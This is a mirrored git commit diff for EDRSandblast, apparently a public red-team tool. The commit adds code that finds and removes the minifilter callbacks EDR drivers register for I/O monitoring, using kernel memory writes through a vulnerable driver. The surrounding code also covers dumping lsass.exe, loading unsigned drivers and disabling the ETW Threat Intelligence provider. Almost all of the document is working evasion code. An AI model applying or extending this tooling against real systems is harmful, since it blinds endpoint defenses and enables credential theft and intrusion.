mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-10 09:27:19 +00:00
[new feature] Implements EDR minifilter callbacks detection and removal
Co-authored-by: Windy Bug <139051196+0mWindyBug@users.noreply.github.com>
This commit is contained in:
@@ -14,11 +14,13 @@
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "FileUtils.h"
|
||||
#include "FltmgrOffsets.h"
|
||||
#include "Firewalling.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "MinifilterCallbacks.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "ObjectCallbacks.h"
|
||||
#include "ProcessDump.h"
|
||||
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
|
||||
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
|
||||
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\
|
||||
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
||||
[--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
|
||||
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
|
||||
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
|
||||
[--no-kdp]\n\
|
||||
@@ -168,6 +170,8 @@ Offset-related options:\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
|
||||
Default to 'FltmgrOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
@@ -204,6 +208,7 @@ Dump options:\n\
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR processName[] = TEXT("lsass.exe");
|
||||
TCHAR outputPath[MAX_PATH] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
@@ -219,6 +224,7 @@ Dump options:\n\
|
||||
BOOL ETWTIState = FALSE;
|
||||
BOOL foundNotifyRoutineCallbacks = FALSE;
|
||||
BOOL foundObjectCallbacks = FALSE;
|
||||
BOOL foundMinifilterCallbacks = FALSE;
|
||||
HOOK* hooks = NULL;
|
||||
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
|
||||
|
||||
@@ -305,6 +311,14 @@ Dump options:\n\
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
@@ -483,6 +497,14 @@ Dump options:\n\
|
||||
PrintNtoskrnlOffsets();
|
||||
}
|
||||
|
||||
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
|
||||
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
|
||||
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
|
||||
}
|
||||
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
// Install the vulnerable driver to have read / write in Kernel memory.
|
||||
LPTSTR serviceNameIfAny = NULL;
|
||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
|
||||
@@ -533,6 +555,19 @@ Dump options:\n\
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
|
||||
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
|
||||
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
|
||||
if (foundMinifilterCallbacks) {
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
isSafeToExecutePayloadKernelland = FALSE;
|
||||
#else
|
||||
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
|
||||
#endif
|
||||
}
|
||||
_putts_or_not(TEXT(""));
|
||||
|
||||
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
|
||||
ETWTIState = isETWThreatIntelProviderEnabled(verbose);
|
||||
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
@@ -827,7 +862,13 @@ Dump options:\n\
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
if (foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
|
||||
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
#endif
|
||||
/*
|
||||
* 2/3 : Starting "resursively" our process.
|
||||
*/
|
||||
@@ -866,7 +907,13 @@ Dump options:\n\
|
||||
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
|
||||
#if WriteMemoryPrimitiveIsAtomic
|
||||
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
|
||||
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
|
||||
_putts_or_not(TEXT(""));
|
||||
}
|
||||
#endif
|
||||
// Renable the ETW Threat Intel provider.
|
||||
// TODO : make this conditionnal, just as kernel callbacks restoring ?
|
||||
if (ETWTIState) {
|
||||
|
||||
Reference in New Issue
Block a user